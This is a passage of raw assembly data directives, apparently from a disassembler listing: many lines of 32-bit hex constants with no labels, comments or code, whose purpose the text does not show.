		dd 98C04835h, 0F401E2C8h, 0A80673CFh, 8982BB7h,	31F5211Bh
		dd 5F8BE701h, 0CEBEB036h, 52C19C8h, 2B76C0E0h, 952C4852h
		dd 0F2E2D2C0h, 5E321CFh, 0EB001C91h, 7334E73Bh,	0F8008F0Ah
		dd 4124C17Eh, 3DE64D5h,	8A3E3857h, 5AB085A5h, 0E88B312Fh
		dd 60D524ADh, 2E2C1037h, 0AF3C04EEh, 0AC7C0338h, 0A4A640E1h
		dd 71E90F1Dh, 8CF0DC40h, 683A286Bh, 21CD3095h, 71F167h
		dd 0CC14B2FFh, 569141F8h, 2FC44C00h, 0ED7EE06Ah, 0E370CCFh
		dd 38E94F44h, 0A04D791Dh, 0B5A51520h, 6F7CFC61h, 0CA805921h
		dd 0CE1B5DB7h, 0A1746F12h, 31FF1422h, 0E7AE8989h, 1314311Dh
		dd 0E191AF10h, 60293200h, 668CEC70h, 28C005F4h,	422A2B5Bh
		dd 25795888h, 7DA53C81h, 62C080CCh, 281621A1h, 21586147h
		dd 22CFA566h, 26AC405Ch, 0FA582B44h, 0ABA518C4h, 0B9D8165h
		dd 80ECF650h, 0E2C9048Ch, 62DBCFF5h, 0E90A094h,	7C20E73Ah
		dd 1120255h, 957275F4h,	89A2D486h, 0BF597000h, 2A5722C1h
		dd 287611E9h, 54B805FEh, 0BC2DEC17h, 30FEA002h,	5311E190h
		dd 7B8895E7h, 0E1982E80h, 54428B17h, 7390D9h, 4FEA51F9h
		dd 0DBD1083Bh, 24CA5600h, 8FCE4379h, 64C34864h,	0EF4394BCh
		dd 5434AD00h, 7BC446A9h, 0FCF94B28h, 0BF1389C0h, 0DAFAFFh
		dd 0C629455Eh, 2D6976B7h, 0AAD0FE00h, 0EF68B25Ah, 0F5F1090Dh
		dd 0A80715Fh, 0C34D8306h, 0A458CA01h, 0A247423h, 728D8840h
		dd 357218h, 20627F5Bh, 1CB49AFFh, 6AC69800h, 8D34B9CFh
		dd 0C24900F6h, 0ED87DFA7h, 0AD00DBD8h, 0ACD445E7h, 1A8EFF3h
		dd 6446DA62h, 0C41DEBC9h, 21002ECDh, 0C8359B9Ah, 2C2993h
		dd 0E27B86C1h, 0E752184Bh, 44BEC0EBh, 31BA4A00h, 0C94F078h
		dd 0D48D1D8Ah, 80AE1F0Eh, 23A6E7DCh, 261C5CC4h,	5887FBE0h
		dd 7C607818h, 0FF3B06Ch, 0B53F7106h, 57807E7Eh,	0EA2679FBh
		dd 0BA00CBCCh, 1A1AD34h, 8259C1h, 0DDFA47F5h, 0AA5BC52Ch
		dd 9C752800h, 5604B0BDh, 87930C9Fh, 8AC01C91h, 0B889CF3Fh
		dd 28C7BFA1h, 0A92A86D9h, 0E9008069h, 0FBF45511h, 38EBDF71h
		dd 0C814E8Bh, 5D6CCDE2h, 5515F494h, 0EA032400h,	0F79E99FEh
		dd 1AAD0246h, 0AC4BE152h, 4E06A080h, 550077C7h,	7F6A929Fh
		dd 502E4536h, 7A94C078h, 14301CBFh, 6E2800EDh, 3C4E7B8Ch
		dd 35D640h, 4621BBBDh, 2FE6D951h, 1ADFEA00h, 0D98ED4Eh
		dd 4D2E0056h, 63B90B8h,	0CC1DE023h, 6E0051FFh, 8EA2A976h
		dd 4BC0CF7Bh, 0E145A480h, 8A001CEEh, 90F54E6Ch,	0C6B5C9h
		dd 13C2799Fh, 58B676AFh, 0C0D440C0h, 17964668h,	0EC95CEE1h
		dd 656300F5h, 0EF9D2FF5h, 0A5B12A2Bh, 94103A0h,	6658E124h
		dd 87978190h, 25B2AB00h, 5DE31934h, 382C0057h, 767D1549h
		dd 91008CA6h, 0CE132452h, 50C15A58h, 0F7148B23h, 44348080h
		dd 7389C8B4h, 18564F01h, 91AA4CEh, 0E078E042h, 0D6A69B6h
		dd 3B47428Fh, 0D6808140h, 0D827B351h, 1811C050h, 10F93EADh
		dd 618640E2h, 90738084h, 0DE37E020h, 0F6930F00h, 72AC33E5h
		dd 571B81Ch, 0E8A0F317h, 40A01E21h, 3A5C5EF2h, 6F009ADEh
		dd 0D76A9B27h, 507D649h, 0E391EFA0h, 6EB70731h,	798EA0A4h
		dd 0C203A653h, 4373773Fh, 0B4F19071h, 45FF00B7h, 7253F35Eh
		dd 2726C24Ah, 0E31E06CCh, 3F793980h, 8DD7E6h, 0FD7B62E5h
		dd 780CAF85h, 806411Fh,	714B100h, 81CF15h, 0B31FF70h, 0F6D4DF4Dh
		dd 0BC399E1Fh, 565B9607h, 33F34EB0h, 6EB80176h,	12200DFFh
		dd 0E24080BFh, 0EB0B135Eh, 0EC70BDh, 66F6F0F5h,	2FAE725Dh
		dd 2C9FB62Eh
		dd 5FED8600h, 793BE4h, 980F50A3h, 0E9ADA023h, 7C11EC2Fh
		dd 0A8E70340h, 0EDD80458h, 37001441h, 0B530AC32h, 0EBD4CDh
		dd 64B77BB2h, 0D9201E52h, 5F332918h, 4EB430h, 16CA975Ah
		dd 1F731E1h, 0DD072990h, 24500A2Eh, 354688E7h, 78720186h
		dd 92D40B7Dh, 9180305Ch, 516097E8h, 787ACD20h, 0D1DF0780h
		dd 0F770BFD4h, 29C6CE60h, 95797139h, 0BE794917h, 0B68D3406h
		dd 21616009h, 624908F5h, 16A05300h, 5A9BB873h, 76DF00BDh
		dd 0D83EDC04h, 9C00D4DEh, 8150866Ah, 67ED3A6h, 557B98C0h
		dd 8014838h, 0E68D17B2h, 75FCCA33h, 5130C1EBh, 30DC7BE8h
		dd 0F528F384h, 380584E7h, 7C0825B5h, 215C2038h,	67816BEFh
		dd 8DAC0235h, 4F89Dh, 0C33E986Ah, 870EB359h, 8CBCF10Fh
		dd 4C21B4h, 604A9822h, 713CCEEEh, 0FD5D8300h, 239F75D1h
		dd 803F54E3h, 0D07169h,	0A471B35Ah, 0A5D47EFFh,	0ABE0AF63h
		dd 21510788h, 101E6E9Eh, 7AFDB49Fh, 0DA8EC000h,	49D14D77h
		dd 286B40CBh, 580CA949h, 7A6D07DCh, 0FF30ECEEh,	9D4B26h
		dd 4A27D253h, 8E3CEA20h, 4DA1911Bh, 0C1ACB830h,	55070051h
		dd 0C96C83C5h, 73710FA8h, 66D8DF03h, 40AB0Eh, 0D6DC1C91h
		dd 80F1B45Ch, 8D568400h, 0C63639E4h, 75B5009Dh,	1D9F46B6h
		dd 9518307Ch, 3CF14009h, 308649D4h, 0CD7FE100h,	730845A3h
		dd 8AC81707h, 417655D0h, 0B6421B69h, 87C03853h,	50003D59h
		dd 21E0B28h, 0C08E91DCh, 0FF06B0B8h, 0C8037116h, 380755FDh
		dd 0C140004Ch, 0B2C46CEFh, 0FC0125EAh, 59F6B79Ch, 0B1D866CBh
		dd 0D6A80050h, 0E1714F9Bh, 1CFC3CBFh, 39F55600h, 0B195F738h
		dd 520A1FE3h, 7604408Eh, 1EA1E4A4h, 0DBF6C600h,	1A51F147h
		dd 1BD97F6Dh, 61C79158h, 0A9D864B8h, 531C30D3h,	9157E340h
		dd 0B28D51h, 0E871C7F2h, 76E4A5D5h, 17F51219h, 52D42540h
		dd 0C5613081h, 569D0430h, 0D8F2002h, 40DF19AAh,	1C507018h
		dd 806CC32Eh, 0F7DC2D13h, 73005A76h, 8479AA22h,	0FD530B4h
		dd 916B5989h, 1099007Dh, 0E1F61ADBh, 66E99F00h,	0B36F623Ah
		dd 2E140546h, 6E6A95ABh, 49A63404h, 0F8AB043Ch,	90331DAEh
		dd 1F5E024Dh, 361083FDh, 563508A8h, 700C98F8h, 626F2880h
		dd 0DAB3088Eh, 4E656E01h, 182056h, 82E75C99h, 8B05B935h
		dd 0F71BD0F8h, 28094C98h, 66185F50h, 606F4034h,	796F3483h
		dd 94CD8E71h, 8978361Ch, 0F9B57710h, 10145059h,	9AF06022h
		dd 1F041308h, 1497E770h, 0B43444D6h, 1C0411C9h,	740D708Eh
		dd 0C08A170h, 7C148714h, 0EF4CF950h, 242E20CAh,	0B050146Fh
		dd 37E59D6h, 393AE07h, 0BB80FE18h, 0E08BD1AAh, 14EA570h
		dd 8E341217h, 0A01FFDD3h, 4871008h, 23B14CF8h, 83D79C4Eh
		dd 31BE1F43h, 6F93FE1h,	1C150F18h, 2E604477h, 203E92A8h
		dd 86FCC60Ah, 0E20720A0h, 23B03431h, 0C38EFF61h, 73286519h
		dd 301C3918h, 67DD2050h, 66E5209Dh, 0F4FF490Eh,	62008BFDh
		dd 3FCC7CC2h, 31444E47h, 5560B2E1h, 697FC47Dh, 404B71CFh
		dd 1C7340B4h, 0D83228D3h, 0FDE70C34h, 77484FF3h, 1B0C9607h
		dd 0CDD01C29h, 74B10DC0h, 0EE7E74CEh, 0CAD0063h, 1A87B2F7h
		dd 28308D30h, 0BDDBA9B0h, 8476259h, 9F007B58h, 0AB652043h
		dd 748338Ch, 3CC07A09h,	0BD000EE0h, 0E61AF7A2h,	75D8975h
		dd 328D7DACh, 4F1BB026h, 240E66BDh, 40CA64A8h, 0D1C9ECFAh
		dd 0FC4A471h, 8928B07Ch, 570C8CB4h, 7DE97784h, 441F90Fh
		dd 3ECC3F30h, 2EF4899Bh, 62CD5Ch, 0F66EC68Dh, 3119699Eh
		dd 0AA285A29h, 0F832B853h, 0C3C53DF9h, 0ED8CE11h, 0F1F67E0h
		dd 9E01F7F0h, 9DF534CCh, 9CD15C02h, 0C77830A0h,	403FBFE1h
		dd 2339B301h, 0F7B26900h, 3115CF1Dh, 0B6E80066h, 63EA987Ah
		dd 10A0B3FFh, 4E0FB887h, 19412F8Dh, 43D10DA1h, 412BAC42h
		dd 1880D20Ch, 0F9781BB2h, 570358E8h, 24615594h,	8A5024DDh
		dd 4CA8A12Ch, 201E1010h, 6702552Eh, 0AF3192DBh,	0C17C6DA8h
		dd 1404F6F0h, 0B8D08670h, 4131A1A2h, 944F2D10h,	0D9E84D79h
		dd 99ECAAB8h, 0D34A500h, 7E623320h, 0DF2792Bh, 8E179454h
		dd 0E620504Ah, 0A4A08915h, 0F4A35B65h, 0E707D000h, 0C555AD2h
		dd 0A6DA1E6Fh, 0CC870399h, 0C8007E1Fh, 0A933B125h, 1E0EC63h
		dd 9F388007h, 2031C855h, 4D419D50h, 492061C0h, 0B05908Ch
		dd 4204FF62h, 0B4871C90h, 0E9D6B8A6h, 2A753101h, 0A1FC624Dh
		dd 0ED829A0h, 0EF1C7A67h, 28CF7C85h, 9189F58Ch,	8140E8E8h
		dd 1A0C3233h, 82819A44h, 419DF41Ch, 30228E18h, 0B85A2083h
		dd 32882844h, 40647448h, 84E99F4Ch, 0B2A999C0h,	280CB748h
		dd 2622960h, 0E7DAC846h, 2E6389ADh, 1A631CC8h, 0A834B012h
		dd 4D321004h, 66172400h, 0D739E00Eh, 334850F9h,	119029CFh
		dd 3B663F05h, 69C2088h,	1F15611Bh, 658B2A8h, 9AA47B31h
		dd 243C4690h, 803808D6h, 950DECF9h, 3961A45Dh, 80E338D9h
		dd 2060B3DBh, 0D025C3B0h, 4860C950h, 5D9E8C00h,	9F0FDD0Fh
		dd 8A662B40h, 5580C0BDh, 518E77B2h, 3471D45Fh, 3DFA7504h
		dd 0D840C809h, 0CBB00454h, 4188B1DAh, 0E434745Ch, 47744Ch
		dd 0F15C51D4h, 0E2CA3F23h, 0E77F7800h, 1A6CB2F3h, 0D64505FDh
		dd 4438FC63h, 8211E484h, 0A8A25A14h, 9060751Ch,	0C8326A77h
		dd 60188163h, 557FBD04h, 90F3DC43h, 0A3A1F75Ch,	0F9EEBA0h
		dd 1057F110h, 0C25DFA04h, 0C8460848h, 7107177Ch, 616680DAh
		dd 0F0B30680h, 554B02E4h, 1CE02479h, 407D9884h,	1B079309h
		dd 0F280032Eh, 0E5E49DDAh, 0F8606FA2h, 4C00ABBCh, 1C7667F5h
		dd 704181Bh, 0E3A08261h, 0A4409FF0h, 54D5139Ch,	0BD95E43Bh
		dd 18E5BF6Eh, 0DD285FEBh, 0A22D303Dh, 97203918h, 48D06740h
		dd 0EE1DBC9Fh, 0CF45C8B2h, 0F297AC80h, 7ED54D3h, 0FDC3A1DAh
		dd 21F84EDCh, 0F31DF086h, 0DF803F18h, 81ECC97Dh, 8ACD01E2h
		dd 665682A2h, 2C28C82Eh, 3CFBDC24h, 57374C47h, 7CC8ED70h
		dd 40DF199Dh, 0F44820DDh, 0F0A471D5h, 0F2115113h, 81D307FEh
		dd 8BAB6A8h, 1C5649h, 1DF2A95Ah, 2C6BE4h, 66CD2E17h, 94EDB3D7h
		dd 7CC7AE01h, 56EE4D7Ah, 379A022h, 244A7E2Dh, 0DBB85D20h
		dd 94F65EE9h, 710F1092h, 437E26h, 324ADEC3h, 6B8C1878h
		dd 7F9DA1FAh, 1060CC31h, 5F00EE7h, 0FFFE00A5h, 0D53D87A2h
		dd 5B005A9Eh, 6F18675Dh, 0E4CD44A8h, 0EF5200A5h, 0F9F54630h
		dd 0CA008110h, 0DC6BC03Dh, 0B95121h, 8CEBFCBBh,	0A379705h
		dd 40131F00h, 4CCC6DF8h, 0EE5E0704h, 0E0865C3Ch, 760C93F7h
		dd 0B400017Ah, 0CCA38451h, 0FA66EAEFh, 50BE00C2h, 0AEA67A30h
		dd 0E0008C3Bh, 2C451177h, 31765Ch, 0C3574BB4h, 0B1302732h
		dd 0E91BAD07h, 4FA923h,	86EF9D79h, 0DCB500BEh, 6BFB1040h
		dd 0EB00C57Ch, 3C46E94Eh, 317A1761h, 6829F448h,	0C2A71142h
		dd 7F100A12h, 94874019h, 2229BA20h, 0FE220E47h,	5D8D22F6h
		dd 3511A042h, 1202222Ah, 34F565Dh, 0FDE206D2h, 46350C0h
		dd 0D5738400h, 1A9953FAh, 0DE0F0005h, 60629A2Bh, 3E006623h
		dd 0ED231FDh, 1F29818Dh, 40521B7Bh, 7D8AECD0h, 21011D55h
		dd 0A2B545C2h, 10D8C314h, 420100BEh, 738E86DFh,	9D00CB52h
		dd 0E4C6FB32h, 745A4Fh,	439C374Dh, 17885C98h, 0DD66301Ch
		dd 0B20F6140h, 3CCAA03Bh, 0B1050339h, 0C06B7FA7h, 0D03E98FFh
		dd 467AA600h, 0E72FABBAh, 289E01ECh, 5D5A755Eh,	0D8CC40B2h
		dd 8900A444h
		dd 8B6D8333h, 3D761D3h,	1D689313h, 29C00C5Bh, 0DE0064FFh
		dd 0E4F73C74h, 1C0DF89Dh, 8081EF5Fh, 0CD17A8AFh, 2C70B358h
		dd 0FD5EDA00h, 4E76DD06h, 6DCC004Dh, 755F45D8h,	79D61209h
		dd 0C7FF7100h, 0E09D2510h, 0D9EF0718h, 90178272h, 37A4DE1Bh
		dd 65D5B503h, 0D80C1692h, 0F1078E3h, 664DDDCh, 0C53B36C0h
		dd 0B9391E4Fh, 0D04E8059h, 0DC0DBCD6h, 0F5E60091h, 2B6C6F07h
		dd 0FF1D5745h, 0B840FB7Ah, 3260A88Fh, 2C390FB1h, 59877DF2h
		dd 723EE109h, 1C6BC4B6h, 70FEE100h, 0AF2C03D1h,	0BB1700E9h
		dd 0AC6F936h, 0ED79348Bh, 12400700h, 5FB7FA08h,	33045871h
		dd 0A39076h, 884BBFDCh,	8BFC088Ch, 6F42E200h, 56C71FCDh
		dd 6829035Fh, 0A98EB249h, 0E0D353F8h, 6182A500h, 0A685650Bh
		dd 684F00F9h, 9832AC2h,	0F40373F1h, 6744DA02h, 0E0B79354h
		dd 487CCACFh, 5500B44Fh, 0C240FBCBh, 0AF026F5Dh, 0D4CF71B4h
		dd 61BE80DEh, 1EDB6CCEh, 800B6213h, 6D0F26F8h, 8C18BB72h
		dd 7311F4DCh, 838D00BEh, 6A1B8995h, 9000D85Ch, 0F6C5A5EEh
		dd 0E4F5875h, 0EA4BEC76h, 0DB00DFEEh, 3B5BE4B5h, 8048F93Eh
		dd 0EF57776Dh, 1578B8h,	0CD7607AFh, 0CBA90C45h,	27116F0Fh
		dd 3E96356h, 5C628022h,	697EC4Dh, 86546EE8h, 603CD063h
		dd 0BA5A8175h, 66105F92h, 3820E4h, 1D0FE6FAh, 88C67DCEh
		dd 864A0B00h, 174D7FF6h, 0DCE30094h, 5679079Fh,	0CA7662E6h
		dd 0B9DE2903h, 0DB9A4083h, 0F0F780E8h, 237113h,	97AA6232h
		dd 7780C775h, 8500D2E6h, 9DBE3569h, 4A23CDh, 0ECB768EFh
		dd 5122D466h, 0A51DA0CFh, 65C1A63Eh, 9E027B6h, 385B00C2h
		dd 1CD9BC9Fh, 59073324h, 1F3B74B5h, 9456780h, 0C4F41884h
		dd 870A11FBh, 8C6BF502h, 8004CBC0h, 0DC06E8B8h,	0EEDFC02h
		dd 7DBE7635h, 41BB1B80h, 48008929h, 0E07C0659h,	83CB07h
		dd 3149B69Fh, 0ED4D12ADh, 8CF83C05h, 0A2C0D790h, 1EE0B4h
		dd 0D6B62EFh, 1A572BCBh, 0A0C04828h, 0F51558h, 0D8026069h
		dd 177FFA8h, 0F15BAECFh, 0E00F2F65h, 0D30FF4DEh, 262926BCh
		dd 70E4AC14h, 7745F0F9h, 355700BAh, 0A7617917h,	6975F890h
		dd 2CA8B00h, 4B017867h,	0FB941604h, 0B08002Bh, 46695795h
		dd 0F556B700h, 700C9DFDh, 61EE0642h, 0F69B9F37h, 504E5502h
		dd 6003DF0Bh, 8B10F64h,	2F6EBB98h, 0C438CA00h, 3DC81BAFh
		dd 0E580A3A5h, 0E807F4BFh, 0C903BC3Ch, 6D17E692h, 31EAC97Fh
		dd 139C30h, 78B64A6Fh, 38548904h, 2D684609h, 1F5407A7h
		dd 7DC3A4A0h, 43E60FD8h, 0F0E109DAh, 8484F89Ah,	3D2612C8h
		dd 80787D04h, 0CF3CD407h, 866F1F00h, 0C67E8B1Dh, 0B6EA0009h
		dd 1330F835h, 990020E1h, 38FCA454h, 0D28EF9h, 75DD6ABh
		dd 28CF518Dh, 97478300h, 33DC85FBh, 2911000Ah, 125B3258h
		dd 591F5744h, 68C06427h, 0F5EC35C3h, 18AB003Ah,	7466B734h
		dd 0C100D42Ch, 7F60F217h, 269B0BF7h, 1F9B44D9h,	80965D69h
		dd 46D31BDBh, 207E338Fh, 76002FF4h, 7AFC9375h, 95EF30DEh
		dd 4900268Bh, 6EC48A09h, 9AAD3400h, 4E21A72Ah, 0E23D00EAh
		dd 66D8D9FCh, 91071D2Fh, 0E1B32DECh, 6B822A50h,	54A900E8h
		dd 0C23F0B17h, 0D000F68Ch, 318098D8h, 0F2686109h, 12D400ECh
		dd 36866221h, 3D093B37h, 8014F9F4h, 8BD79800h, 0DDFB3F33h
		dd 599F5F00h, 6B20DF8Fh, 464D0800h, 73D896EBh, 0CDF8BAh
		dd 0B210199Dh, 1EE52022h, 5CA6091Ch, 362F6F80h,	581A66D7h
		dd 910BC47Dh, 4000474Eh, 151B7521h, 0A11EA00h, 0CB06D5C1h
		dd 0CE945CFAh, 0F901233Ah, 0D919AAC5h, 87D6D987h, 9AD16420h
		dd 3C3F8AC0h, 42A4C0E3h, 451CDC0h, 0D843FC09h, 6AAB00F9h
		dd 35E7C39h, 0F17DAE1Bh, 99E8A151h, 0DF0304A0h,	11C54AC3h
		dd 0BC09981Eh, 0DEA5171Dh, 3370FC9h, 0C06E8CC0h, 0B00DFC7h
		dd 70D1418Fh, 0C18E2085h, 0AA8B0C18h, 8BE0D213h, 0EC07619Dh
		dd 93B32412h, 219A601h,	0DE4A1980h, 169ADF3h, 3F790801h
		dd 38CE9487h, 1194460h,	0B0B24AC2h, 606CF9C5h, 3E306458h
		dd 11B918C0h, 0FC61DF3h, 68AC7Ah, 2347AE07h, 0E9008150h
		dd 4C0B252Ah, 0F61B03h,	0CE3567Ah, 0C0AE7493h, 5192221Eh
		dd 2BD6C980h, 1CFE55C8h, 0CEC208h, 0F12AF8D1h, 4A009C61h
		dd 6C72E18Fh, 3E957FC0h, 1800FC54h, 7338C685h, 8E3D8D21h
		dd 0B17701DBh, 0AA81CB88h, 151DE8h, 0A89694F2h,	0C61035BEh
		dd 300830F1h, 1A33Ah, 0E3ED7897h, 7D1A48Ch, 83290547h
		dd 80CD14A6h, 3F1AC6F2h, 0DB655800h, 0C1F107BDh, 6A18C0C2h
		dd 0D2A84750h, 8724D5FCh, 0CD010169h, 775F3CCCh, 0C582ECh
		dd 36BE787Ah, 66763DE5h, 86204B3Fh, 0A09CB180h,	0FE3C1D88h
		dd 7EE88027h, 3855F4CAh, 0EC6CFB1Ch, 6B99BC80h,	3A49D281h
		dd 0FA0036C7h, 777B686Ah, 0F90EB476h, 0E037F512h, 5AB37302h
		dd 939224FBh, 99458064h, 0A2B5469Fh, 24893E00h,	216904F2h
		dd 0B48B0EA1h, 937209h,	0C20210ACh, 10BAC712h, 0D874602Eh
		dd 0A820A900h, 79CF316h, 55CD0678h, 0EADCE0FDh,	6C58DD94h
		dd 0A3E70018h, 4969770Ah, 0B3F600BAh, 0FAE9E23Ch, 1800A598h
		dd 9F122FC6h, 4E8F1Fh, 0F9F2B6F3h, 4D55CE85h, 0DE0F8700h
		dd 0BBAB4399h, 6AF895h,	90B8F036h, 0DE660A9h, 34579600h
		dd 4F405A9Dh, 28030F4Eh, 5651239h, 65E8421Bh, 2858D39Dh
		dd 0FA0CF400h, 0F38A3CD5h, 16CB263h, 5FB04387h,	0BBA66730h
		dd 424A80F8h, 10B6FD19h, 0F85C009Ah, 0EB7271A7h, 1403A32Eh
		dd 0A09F3679h, 0C4C0F045h, 12787F7Ch, 0BAE3Bh, 0BF29E4ECh
		dd 0EE753A76h, 56C30850h, 6F00947Eh, 0F37B6458h, 5C60DD3h
		dd 0A297BF77h, 8387C0h,	0B8BE845h, 216A2C00h, 8A2B8594h
		dd 0D33D0CC5h, 0AAA08EA5h, 0C9E8281Fh, 960685ECh, 1803CEh
		dd 0A68CDAB5h, 0C3C6D9EEh, 0BCA2AE00h, 14DB6074h, 0EE9027h
		dd 0AAFBD365h, 7164F8B4h, 48DFEC14h, 76E81790h,	1EB29C20h
		dd 0AF2706D4h, 79937C3Bh, 0BEEBD6C1h, 94508F34h, 90CA5FD8h
		dd 4B4C007Ch, 0AEF81D72h, 4579EEFFh, 1A6C1C00h,	745A0D34h
		dd 0FC69000Ch, 8F83BE82h, 0FB77327Bh, 0A5E25700h, 7F7915A9h
		dd 40ED1829h, 3F3B6156h, 3DBE2E48h, 0E96600E8h,	0F982E7FBh
		dd 7C3E006Ah, 973AAFA8h, 0C7014828h, 26534B3Ch,	0AAEC27E0h
		dd 0F71A00FCh, 0A21BACBEh, 3D1D6D2Ch, 0BA007B8Ch, 691D8932h
		dd 0E5C008Ah, 2F43564h,	0EE008498h, 9331C272h, 18B15980h
		dd 11B6ABEDh, 6E00B02Ah, 7C05F67Ah, 3C8C61h, 79664D70h
		dd 0B29EBA22h, 1D871617h, 0A4E12F07h, 0CA0026A7h, 0F1AAFEh
		dd 41479150h, 7EC1BD2Ah, 8D035DE2h, 627DD309h, 0E2EBA8CCh
		dd 0AD74C4Dh, 0C8073203h, 0A2C0B79Ah, 0D8170C0Fh, 1000EC31h
		dd 768AAC30h, 334B02FEh, 9C16A02Dh, 0F300B058h,	0AEC8E46Dh
		dd 0FCCB09D4h, 74211C75h, 0E7F5C04Ah, 0AB66574Bh, 90AE48h
		dd 762B6A7Ah, 0E1F020h,	49B2E959h, 28B0526Ch, 0D0536600h
		dd 5F9E4D3Bh, 0C797FAF7h, 4004AD39h, 3CC38A5Ah,	9082E507h
		dd 50809364h, 489E1FF1h, 8B000CCFh, 0A944E7F7h,	0E901DB24h
		dd 874369C0h, 62D00551h, 491F24F0h, 75140140h, 0F80E3A4Bh
		dd 4000D9DEh, 0D486E601h, 4C3924h, 0A1BD69FDh, 6A80FB3Fh
		dd 804FDA39h, 148C3174h, 7D18CDBCh, 0BDB624A0h,	0C0981CECh
		dd 43317EA8h, 8502DA1Ch, 2527B402h, 0C7A6418Fh,	0AD10A48Ch
		dd 6B50E8D0h, 89256284h
		dd 9E2C0009h, 9A7A65B6h, 59F10114h, 69281006h, 0AA6CF020h
		dd 37086F00h, 31BDD10Ch, 30E21821h, 0CA3AE8F5h,	53E85E00h
		dd 466244D5h, 0EF1A403Bh, 111FD2E6h, 0FFCFB4A9h, 0D992E0D4h
		dd 0CE87569h, 9E185238h, 992C7480h, 98802CFCh, 0C04A1EEEh
		dd 0BF5F0233h, 60A0F0B8h, 0D188C3E0h, 3CC138h, 0D8BD9B25h
		dd 1CAA6183h, 7DE677h, 8C69C63Bh, 51004237h, 61DD585Dh
		dd 1C8A54h, 2BA8D7DFh, 149C4867h, 0B7BB0400h, 1FBA47E3h
		dd 6C400021h, 755FF91Dh, 0C49C6FDAh, 0FF505800h, 6A8CD3h
		dd 0C314B7A8h, 43912168h, 3C88A700h, 0D3075082h, 0B16A0061h
		dd 4C779C64h, 9B00B567h, 7D69F3B8h, 124DA0h, 610C71BCh
		dd 84EE2C37h, 4B38E17Ch, 4CE83D04h, 0CDD009DCh,	8504613h
		dd 11BA467Eh, 0F8C03012h, 14502040h, 0D86D222Fh, 4A97EB0Eh
		dd 106E8126h, 0CCD4BA00h, 0CF50F708h, 0E2740F86h, 8EE73752h
		dd 5D7DA04Dh, 705901Bh,	0CDC709D0h, 6D2BC01h, 6C3082D6h
		dd 5D8A0484h, 80951676h, 75122191h, 6F010F00h, 5A4A37D9h
		dd 0F98600BDh, 0D4F4FA6Dh, 9B01AA3Dh, 9E5193F8h, 94283EDEh
		dd 0E66B6101h, 0FCA132DDh, 8B48B45Dh, 0CBB80BA4h, 0E77200D4h
		dd 0FBC0817Ah, 0CBC0EF0h, 0DE5AE14Fh, 2A003CFCh, 0A8A295E4h
		dd 1D6EE49h, 0E0FF2052h, 20AB9DCBh, 0C7001C68h,	5DA0470Fh
		dd 0D49433h, 2D83B236h,	4AB99D46h, 8CB16700h, 62DB56A8h
		dd 9CE60049h, 0D9D757D6h, 5200D51Ah, 0EE54E258h, 2E719ABAh
		dd 2081B3h, 0A592B865h,	0C10E9545h, 0A09336CEh,	64688640h
		dd 743D754Ch, 0F3470081h, 0F0276FABh, 4AF66AC9h, 0FC7A3326h
		dd 50E7A928h, 0BCF1D9D4h, 0C382BD0Bh, 30EC07CCh, 1186ECB0h
		dd 9B8F0733h, 503CA345h, 700B6315h, 426C6700h, 9F9AA7ABh
		dd 36F90055h, 4FCDAC12h, 5A750EB9h, 7B268F0Ah, 5E07CEB6h
		dd 0ABB5E032h, 86EE00D0h, 36850B9Dh, 0D38960B6h, 0AD562780h
		dd 0C01DB5F1h, 8A804FF9h, 0BE76A2DCh, 34FA0B90h, 8C409C12h
		dd 621DF39Ah, 0FC1594Ch, 0EF574528h, 0B8E47471h, 9B04038Fh
		dd 55424779h, 7436B2B1h, 95131D40h, 0E4130357h,	0AA9A4B00h
		dd 0F93B5Ah, 0E412DD79h, 496B6AB5h, 0D4E91F1Dh,	368AE00h
		dd 0FFAD34h, 0E59A75BCh, 3CB49D81h, 9023C224h, 0FA0D2D80h
		dd 4E7ABAC7h, 86D00109h, 649189D0h, 0FE0099B4h,	0A7A3CE74h
		dd 0E8F78Ah, 0EF8F77FFh, 47143711h, 0BB42A900h,	0DF32BF71h
		dd 29EA76h, 904541AFh, 0B0ABCC8Ch, 2B9E9701h, 7B885466h
		dd 38F9024h, 0F4BC9F55h, 0A1F81D06h, 0AE0328F6h, 1E0DFF18h
		dd 81DFF0D1h, 4CBE0077h, 0B0C127B7h, 8FE0E75Dh,	0E6BBC405h
		dd 4CB00316h, 2E530032h, 4A140C59h, 67008E43h, 0F94B724Ch
		dd 72451035h, 0FCDF2401h, 771900DBh, 8BBD3F4Fh,	3221EB1Fh
		dd 2B767C9h, 68498850h,	0F3C5B8h, 6DB4AF6Eh, 1A520E6h
		dd 0E435200h, 0A712E467h, 424B00FCh, 87CE7CB3h,	0DD1F7F14h
		dd 0CC0C2603h, 41183h, 0C493FD29h, 5C7C8298h, 7E16D870h
		dd 708AC6B4h, 507822C1h, 5AF0506Eh, 602BE15h, 3B07C7Fh
		dd 382C405Eh, 767B2CCAh, 817E1624h, 68550178h, 5A35226Ch
		dd 0F3E80040h, 108F31E4h, 78C93600h, 0EE1EC0D2h, 19EE11h
		dd 29FB30F0h, 587C12BAh, 0B5809602h, 0C0779955h, 17784E2Bh
		dd 0EF956C57h, 861FE90Bh, 0F248F8h, 7F6DCA13h, 0A5CBD328h
		dd 4C61FC00h, 0C6E7D158h, 0EFDA289Bh, 99874E8h,	65D0B974h
		dd 0CD6F3F80h, 0D600ABECh, 61813188h, 38A1F748h, 0C2D8230Ah
		dd 59E27A00h, 0B2679602h, 0ABD8DC00h, 729AEC71h, 0FAA100F0h
		dd 91F1F5A9h, 0DE03A2CDh, 0AE9B4619h, 0B031C388h, 0C5E833Fh
		dd 0DF5F7E8Ah, 131CA566h, 0C089C5EBh, 68882103h, 0EFF4598Ch
		dd 0F280009Ah, 0A705836Fh, 68C0A0BBh, 0A3A48C75h, 5C530026h
		dd 0D9626C73h, 5900FD3Eh, 2E80F8A9h, 0A2C14h, 543803B4h
		dd 45629465h, 18BE8939h, 0C51E976h, 0DA240326h,	67B2B79h
		dd 8C1138D0h, 0EA9C8226h, 4B1B7500h, 75684813h,	0DB03074Eh
		dd 0D015CBE6h, 6C6F9D60h, 0ACD62303h, 0E887BFE9h, 527D1Bh
		dd 88079A73h, 1EB97C93h, 48F1CC0Ah, 0B1C60E7h, 0BAD34D00h
		dd 130F83Eh, 3832D741h,	0FC7734DAh, 8F00B6BCh, 95B25091h
		dd 51D18Eh, 4C93FA2Ch, 3C0423D4h, 0DE07DA70h, 5C134E49h
		dd 0FF1225B0h, 93A500AFh, 81F64B52h, 60FACCFAh,	89BF3100h
		dd 62C69BF1h, 0DE98004Eh, 0B2C9802Eh, 49006027h, 11B5068Fh
